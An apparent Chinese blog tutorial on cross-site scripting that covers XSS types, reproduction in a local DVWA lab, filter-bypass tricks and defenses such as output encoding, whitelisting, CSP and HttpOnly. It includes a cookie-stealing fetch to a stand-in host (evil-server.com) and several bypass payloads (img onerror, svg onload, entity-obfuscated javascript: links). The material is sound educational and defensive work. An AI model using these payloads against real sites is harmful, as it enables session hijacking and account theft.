跨站脚本攻击(XSS)详解:原理、分类、复现与防御指南
2026/9/7 22:45:49 网站建设 项目流程

聊到网站安全,XSS攻击是绕不开的一个坎。我在安全领域这些年,见过太多网站被XSS打得措手不及——用户数据被偷、管理员Cookie被劫持、整站被挂马,最惨的是明明被打了,后台日志里还查不到任何入侵痕迹。今天这篇就把XSS攻击的原理、分类、复现过程和防御方案一次性讲透,全程用我实际踩坑的经验来带,零基础也能跟下来。

先说清楚这篇文章的定位:不是教科书式的名词解释,而是一份可以直接落地的实操笔记。看完你既能知道XSS攻击是怎么一步步打进来的,也能知道该在代码里、配置里、流程上怎么堵住这些口子。不管你是写业务的前端、管服务器的运维,还是刚入门安全的新手,这篇都能对得上你的需求。

1. 先搞清楚XSS到底是个什么东西

1.1 用一个生活化例子理解XSS攻击

XSS的全称是Cross-Site Scripting,跨站脚本攻击。念起来跟CSS撞了,所以一般缩写成XSS。它本质上是一类代码注入漏洞:攻击者把一段恶意的JavaScript代码混进正常的网页里,让浏览器当成页面自己的脚本去执行。

我经常跟人打一个比方:你开了一家小饭店,菜单是贴在墙上的一块白板。正常情况下客人只是点菜,可突然来了个人,趁你不注意在菜单后面用铅笔写了一句“今天全场免费”,结果后面来的客人全都照着这句话白吃白喝。这里面的“菜单”就是网页,客人就是浏览器,那句“全场免费”就是恶意的JavaScript代码。因为浏览器无法区分这句“菜单上的内容”到底是饭店自己写的还是别人偷偷加进来的,所以照单全收。

这个比喻能解释XSS最核心的一点:问题的根源出在数据和代码没有分清。网页上展示的文本、URL参数、用户输入的内容,这些都属于“数据”;而JavaScript、HTML标签这些属于“代码”。当一个网页把不可信的数据直接塞进代码的上下文里执行,XSS就出现了。

1.2 XSS攻击的三种常见类型

业界一般把XSS分成三大类:反射型、存储型、DOM型。搞清楚它们的区别,是判断漏洞危害等级和选择修复方案的前提。

类型恶意代码存放位置触发方式危害范围
反射型藏在URL参数里受害者点击恶意链接只影响点链接的这个人
存储型存在服务器数据库里任何用户打开受影响页面影响所有访问该页面的用户
DOM型不经过服务器,在前端JS里受害者访问被构造的链接通常影响单个用户,但可结合其他攻击扩大

用大白话说,反射型就是“攻击者把炸弹放在链接里,谁点谁炸”;存储型是“攻击者把炸弹埋在路中间,走这条路的人都会踩到”;DOM型是“炸弹就藏在网页本身的JS逻辑里”,根本不需要传给服务器。

危害等级上存储型通常最严重,因为它不需要诱导特定的人去点链接,只要恶意代码进了数据库,所有打开页面的用户都会中招,最典型的场景就是评论区、留言板、个人资料展示这类内容型功能。而反射型和DOM型虽然只影响单个用户,但如果结合钓鱼链接和社工手段,一样能造成账号被盗、资金被转走这类严重后果。

2. 从攻击者视角看XSS是怎么打进来的

2.1 反射型XSS:攻击脚本藏在URL里

反射型XSS的原理很好理解。一个搜索框,用户输入关键词,服务器把关键词原样返回到搜索结果页面上。比如你搜一个“hello”,返回的页面就会显示“您搜索的是:hello”。

问题来了:如果这个关键词没有被处理,直接拼进HTML里,攻击者完全可以构造一个链接:

/search?keyword=<script>alert(1)</script>

受害者一旦点击这个链接,浏览器向服务器发起请求,服务器把这段<script>标签原样拼到返回页面的HTML中,浏览器解析时就会执行它。弹出的alert(1)只是证明漏洞存在,真实的恶意代码可以是窃取Cookie发送到攻击者服务器的脚本。这就叫反射型,因为恶意代码是通过请求反射回来的。

我在实际测试里的体会是,反射型XSS最大的排查难点在于它不会留任何痕迹。恶意代码只存在于攻击者构造的URL中,服务器日志里可能只记录了一长串编码后的参数,如果不专门去翻解码后的请求内容,基本看不出来被人打过。所以对付这类漏洞,光靠查日志是没用的,必须在代码层根治。

2.2 存储型XSS:恶意代码会“传染”

存储型XSS更危险。攻击者把恶意代码作为正常内容提交给服务器,服务器存进数据库,之后每个访问这个页面的用户都会收到这段代码并执行。

举个例子,一个博客评论区有漏洞,攻击者在评论里输入:

<script> fetch('https://evil-server.com/steal?cookie=' + document.cookie); </script>

这条评论被保存进数据库。之后任何人打开这篇博客文章,服务器从数据库读出这条评论,原样渲染到HTML里,浏览器就会执行fetch把访问者的Cookie发到攻击者服务器。管理员打开文章页面,管理员的Cookie也照样被偷走。

存储型XSS的可怕之处在于它不需要精心构造链接骗取点击,恶意代码就静静地躺在那里,访问量越大,受害面越广。而且攻击者写一次代码,可以持续偷数据,除非把数据库里那条记录删掉,否则漏洞会一直生效。我在做渗透测试时,存储型XSS一旦发现基本都是高危起步,因为可以直接打管理员权限。

2.3 DOM型XSS:前端代码自己挖的坑

DOM型XSS跟前两种有个本质区别:恶意代码不经过服务器。整个攻击链条都发生在浏览器端的JavaScript里。

典型的漏洞代码长这样:

var name = new URLSearchParams(window.location.search).get('name'); document.getElementById('welcome').innerHTML = '欢迎你,' + name;

这段JS获取URL里的name参数,然后用innerHTML把它直接插入页面。如果攻击者构造这样一个链接:

/page.html?name=<img src=x onerror=alert(document.cookie)>

浏览器加载页面后,JS拿到<img src=x onerror=...>,通过innerHTML插入DOM时,这个img标签会被正常解析,图片加载失败触发onerror事件,恶意脚本就执行了。

这里的关键词是innerHTMLdocument.writeouterHTML这类直接把字符串当HTML解析的DOM操作。前端开发者图省事用这些API,却不知道它们在把不可信数据插进页面的同时,也给了恶意代码一个合法的“入场券”。DOM型XSS因为不产生服务器请求和响应,很多扫描器和WAF根本检测不到,只能靠代码审计去发现。

3. 搭建靶场实操:亲手验证一次XSS攻击

3.1 本地靶场环境准备

讲原理讲得再多,不如亲手打一遍。我建议你在本地搭一个专门的漏洞靶场来练习,既安全又直观。最经典的入门靶场是DVWA(Damn Vulnerable Web Application),它在设计上就内置了各种漏洞场景,非常适合用来学习和验证XSS攻击。

搭建方式各家环境不同,我这里给一个比较通用流程,主要用Docker方式,省去手动配置环境的时间:

# 拉取DVWA镜像 docker pull vulnerables/web-dvwa # 启动容器,将本机8080端口映射到容器的80端口 docker run -d -p 8080:80 vulnerables/web-dvwa # 启动完成后,浏览器访问 # http://localhost:8080

首次访问会跳到初始化页面,点“Create / Reset Database”创建数据库,然后会跳回登录页。默认账号密码是admin/password

提示:DVWA是专门用于安全教学和测试的靶场,里面有大量真实漏洞,绝不要把它部署到公网。练习时用本地环境就够了。

不过DVWA默认自带的XSS测试级别分为Low、Medium、High、Impossible四档,档位越高防护越完善。我的建议是先从Low开始,理解漏洞成因,再逐级看Medium和High的过滤方式,最后对比Impossible级别的修复代码,这样能一口气看出“从漏洞到修复”的完整演变过程。

除了DVWA,也可以用PortSwigger出的Web Security Academy,那个是免费的在线靶场,里面的XSS专项练习难度梯度设计得很好,就是需要联网。我自己更喜欢DVWA一点,因为整个环境可以完全离线,且能看到PHP源码,对理解原理帮助更大。

3.2 在靶场上复现三种XSS攻击

登录DVWA后,左侧菜单有一组“XSS”专项练习。我一个个说复现步骤。

反射型XSS复现(DVWA的XSS Reflected)

页面是一个输入框,提示你把名字提交进去。Low级别下你输入什么,页面就直接回显什么。我在输入框里填:

<script>alert(document.cookie)</script>

点击提交,页面直接弹出一个cookie内容框。这说明服务器把输入原样拼进了HTML,没有任何过滤。注意观察浏览器地址栏的变化——输入的内容会被编码成参数拼在URL里,这也是反射型XSS的特征。

存储型XSS复现(DVWA的XSS Stored)

页面上是一个留言板,有个“name”输入框和“message”输入框。我在message里填入:

<script>alert('you are pwned')</script>

提交后,页面刷新,整个XSS练习页面都会弹出提示框——恶意的script标签被存进数据库了。只要以后任何人打开这个页面,都会看到弹窗。如果你用另一个浏览器或者无痕窗口访问,同样会弹,这就模拟了“所有访问者都受影响”的效果。

DOM型XSS复现(DVWA的XSS DOM)

DOM型XSS在DVWA里是一个单独的模块。它提供了一个下拉菜单选择语言,同时会回显你选择的参数。我重新构造URL,在参数里直接注入:

page.html?default=English<script>alert(1)</script>

页面加载后JS去读取这个default参数并写入DOM,恶意脚本就会执行。注意这个请求发到服务器时,服务器返回的HTML本身是正常的,恶意代码是在浏览器端被JS解析后执行的。这也是DOM型XSS最迷惑人的地方——你用浏览器“查看源代码”看服务器返回的HTML,根本看不到恶意脚本,但它确实在页面上执行了。

3.3 参数构造与绕过思路

实战里很少遇到无防护就直接注入成功的场景,更多时候需要绕过各种过滤。我把Low级别玩明白之后,就切换到Medium级别看它到底过滤了什么,试了几种基础绕过方式。

Medium级别最常见的是过滤<script>标签。它如果只是把<script>这个字符串替换成空,最简单的绕过就是把标签大小写混着写:

<ScRiPt>alert(1)</sCrIpT>

如果它连大小写也过滤,那就要换一种触发脚本的方式,比如用事件属性。不需要script标签,直接构造一个会触发JS事件的HTML元素:

<img src=x onerror=alert(1)>

这条payload在图片加载失败的瞬间触发onerror事件,恶意脚本照样执行。哪怕过滤了onerror,还可以换onmouseoveronfocusonload等一堆事件属性,攻击者在这方面的选择其实非常多。

再高一层的绕过是编码混淆。比如把alert(1)里的括号做HTML实体编码:

<svg onload=alert(1)>

或者利用JavaScript支持Unicode的特性,把某些字符写成Unicode转义形式。这块内容很深,我在这篇里先提个开头,后文第5章会继续展开。

4. 防御才是重头戏:XSS防御的工程化落地

4.1 输出编码:把恶意代码变成无害字符串

XSS防御的核心原则就一条:永远不要把不可信的数据直接当成代码输出。要做到这一点,最基础也最有效的手段是输出编码(Output Encoding)。

拿HTML上下文举例。用户输入的内容在输出到页面时,需要对下面这几个字符做转义:

原始字符HTML实体
<&lt;
>&gt;
&&amp;
"&quot;
'&#x27;

做了这些转义之后,用户输入的<script>alert(1)</script>在页面上就只是“一串长得像代码的普通文本”,浏览器只会原样显示它,不会把它解析成标签,更不会执行。这正是我们想要的效果。

不同上下文要用不同的编码方式。数据出现在HTML标签的内容区、出现在标签的属性值里、出现在JavaScript字符串里、出现在URL参数里,这几种位置的编码规则完全不同。如果在HTML标签内容区用JavaScript的转义规则,或者反过来,都会导致防护失效。

举个实际例子,用户输入";alert(1);//,如果它被直接拼进一段JavaScript字符串里:

var message = "欢迎你,";alert(1);//";

引号直接闭合了字符串,后面的alert(1)成了新语句执行。但对这段输入做JS字符串上下文的转义处理,把里面的引号和反斜杠都转义掉,变成\",它就只能老老实实当一个字符串内容,没法破坏上下文。所以做输出编码时,一定要清楚数据要进入到哪个上下文,用对应的转义规则,这个问题是整个XSS防御里最容易做错的细节。

4.2 输入过滤:白名单永远比黑名单靠谱

很多人一听说要防御XSS,第一反应就是过滤用户输入,把scriptalert这些关键词统统封掉。这种思路叫黑名单过滤,问题非常大。

一方面黑名单永远不可能列全。攻击者可以利用HTML实体编码、Unicode编码、十六进制编码、大小写混写、标签嵌套拆分等手段绕过关键词匹配。今天你封了<script>,明天攻击者用<img onerror>就绕过去了;你封了onerror,他换onfocusonclick又进来了。这个猫鼠游戏没有尽头。

另一方面,黑名单过滤容易破坏正常业务。用户提交一段含script单词的技术文章被拦截了,用户发表代码帖子被误杀,这种“宁可错杀一千”的做法体验极差,而且并不能真正解决问题。

正确的思路是白名单校验。也就是说,明确定义这个输入字段允许什么样的数据和格式,格式不符的直接拒绝。比如:

  • 手机号字段:只允许数字和+-,长度限制11到15位。
  • 邮箱字段:校验标准邮箱格式。
  • 年龄字段:只允许0到150之间的整数。
  • 富文本字段:用白名单过滤HTML标签白名单,只允许<b><i><p><a>这类安全标签,属性也做白名单限制,所有链接协议只允许httphttps

白名单校验输入内容,让不可信数据在入口处就变得“可控”,再配合输出编码兜底,这就是纵深防御的思路。我特别强调一句:白名单校验不能替代输出编码,它俩是配合关系而不是二选一。输入校验解决的是“进来的是什么”,输出编码解决的是“出去以后是不是代码”。

4.3 CSP安全策略:给浏览器立规矩

输出编码做好了,大部分XSS都能挡住,但这还不够,因为代码是人写的,总有疏漏的地方。CSP(Content Security Policy,内容安全策略)作为最后一道防线,能在前面这些防御失效时把损失压到最低。

CSP是通过HTTP响应头或者<meta>标签告诉浏览器“页面只能加载哪些来源的资源”。一个比较严格的CSP策略长这样:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none';

这条策略的含义是:页面只能从同源地址加载资源,脚本也一样只能从同源加载,不允许任何外部JavaScript;object-src设为none,禁掉Flash和插件;base-uri设为none,防止攻击者篡改页面基础地址。在这种策略下,就算某个输入点被注入了一段<script src="https://evil.com/x.js">,浏览器也会直接拒绝加载这个外部脚本。

不过要注意,CSP设置得太严格也容易伤及无辜。很多网站用了第三方统计、在线客服、聚合广告等外部脚本,如果策略没把这些域名加进去,线上功能直接挂掉,运维和产品一起找上门。所以CSP的配置是一个渐进调试的过程,先开启报告模式,看哪些资源被拦截了,确认无误后再强制生效。

# 报告模式:只上报不拦截 Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report # 强制模式:拦截并上报 Content-Security-Policy: default-src 'self'; script-src 'self'; report-uri /csp-report

我自己的习惯是先在Report-Only模式跑上一到两周,把误拦的情况全部修掉,再切强制模式。上线之后再盯着上报日志,就能实时发现有没有人在尝试注入外部脚本。

4.4 从开发规范上堵住XSS漏洞

工具和代码层面的修复解决的是“点”上的问题,但要让网站长期不被XSS打穿,还得从开发规范这个“面”上去堵。我根据自己的实践列几个值得推行的规范。

模板引擎默认转义。现在的后端模板引擎比如Vue的{{ }}、React的JSX文本节点、Python的Jinja2、Java的Thymeleaf,默认就会对变量做转义处理。我碰到的很多历史遗留XSS代码,恰恰是开发图省事绕过了默认转义,强行用v-htmldangerouslySetInnerHTML|safe这类关闭转义的语法。这类高危API应该统一收紧,在代码评审时重点看它们。

Cookie加HttpOnly标志。就算XSS漏洞暂时没能修完,只要Session Cookie标记了HttpOnly,浏览器就会禁止JavaScript读取这个Cookie。攻击者脚本拿不到Cookie,偷到的只是一堆没用的字符串。Redis、Session配置、Set-Cookie响应里都支持这个标志,强烈建议全站开启。

安全编码培训。这个听起来虚,但在团队里是真能救命的。每年花半天时间,把反射型、存储型、DOM型三种XSS的实际攻击案例和修复代码给开发讲一遍,比事后出漏洞再开会复盘划算太多。安全这行有个共识:漏洞最好的修复时机是代码写出来的那一刻,而不是被攻击者利用之后。

5. 常见问题与排查技巧实录

5.1 为什么过滤了script还是被绕过

这是我在交流群里被问得最多的问题。很多人把过滤<script>当成XSS防御的全部,然后发现根本防不住,就怀疑是不是自己姿势不对。

其实原因很简单:<script>只是无数种触发JavaScript的方式之一。HTML语言本身的灵活性决定了XSS payload可以有海量变形。我在这列几个最常见的替代方案:

<!-- 用img标签的onerror事件,图片加载失败时执行JS --> <img src=x onerror=alert(1)> <!-- 用svg标签的onload事件,SVG加载完成时执行JS --> <svg onload=alert(1)> <!-- 用伪协议,点击链接时执行JS --> <a href="javascript:alert(1)">点我</a> <!-- 用表单事件,输入框聚焦时执行JS --> <input onfocus=alert(1) autofocus>

记住这句话:只要输入点在HTML里,凡是能触发事件的HTML元素或属性都可能变成攻击载体。所以防御上绝对不能只依赖关键词黑名单,要把重心放在输出编码和白名单上。

5.2 编码绕过的几种典型场景

绕过过滤的另一个大分支是编码混淆。浏览器对HTML、URL、JavaScript分别有自己的解码机制,攻击者可以利用多重编码让代码“骗过”过滤器的眼睛,又在浏览器里被还原回可执行状态。

一个经典的嵌套编码例子:

<a href="jav&#x61;script:alert(1)">click</a>

这里把javascript:中的a写成HTML实体&#x61;,如果过滤器只做简单的关键词匹配,看到的是没有javascript:字样的字符串,就放行了。但浏览器在解析href属性时会先把HTML实体解码,再当作URL执行,于是javascript:伪协议依然生效。这类嵌套解码的问题,在后端开发里很常见,尤其是把用户输入拼进hrefsrcstyle等属性的时候。

应对编码绕过,没有比“在正确的上下文里做编码”更可靠的方案。比如拼进URL属性,就对URL做上下文相关的编码与协议白名单校验;拼进JavaScript字符串,就在JS上下文做转义。只要编码做对了,任何编码混淆在它面前都无从发挥。

5.3 排查XSS漏洞的实用工具

实际做项目时,不能光靠肉眼读代码,工具能帮我们快速定位可疑点。我常用的工具分成三类。

浏览器开发者工具是排查DOM型XSS最直接的手段。打开Chrome开发者工具,观察元素面板里动态生成的DOM结构,如果发现用户可控的数据被innerHTML之类的方式插入并解析成了标签,赶紧追代码定位。顺便可以用性能面板在关键函数上下断点,看每一步数据是怎么流转的。

自动化扫描器适合在项目上线前做一轮快速体检。开源工具里我常用的有OWASP ZAP和XSStrike,前者功能全面支持主动扫描和被动扫描,后者专门针对各种WAF绕过来做XSS测试。商用扫描器如Burp Suite Pro也强烈推荐,它的爬虫和扫描器覆盖面很全,唯一的门槛就是要付费买授权。

代码审计工具用来做静态检测。我用过Semgrep,通过规则匹配找出代码里调用innerHTMLdocument.writedangerouslySetInnerHTMLv-html这些高危API的位置,然后人工审核数据是否可控。这类工具不能完全替代人工审计,它的价值在于帮你划定重点检查范围,不用把几万行代码从头读一遍。

6. 写在最后的一些经验

XSS我这几年测下来,最大的感受是它特别“接地气”。不像某些漏洞要打复杂的组合拳,XSS很多时候就是一个引号、一个标签没处理干净就出来了。但也正因为门槛低,它的出现频率和危害面反而比很多高深漏洞都大。一个成熟的网站,不可能完全不出XSS,关键在于你能不能在攻击者之前发现它、在漏洞暴露之前堵住它

最后分享一个我自己的小技巧:每次改完代码,我都会在本地起一个DVWA靶场,把新写的涉及用户输入输出的功能模块在同级别的防护条件下重新打一遍。虽然这个习惯会多花一点时间,但“自己先打自己”这件事,帮我拦下了不少真正上线后可能翻车的漏洞。你要是刚起步,不妨也试试这个思路——毕竟防御做得好不好,你得站到攻击者那一侧去看,才能真的说出个所以然来。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询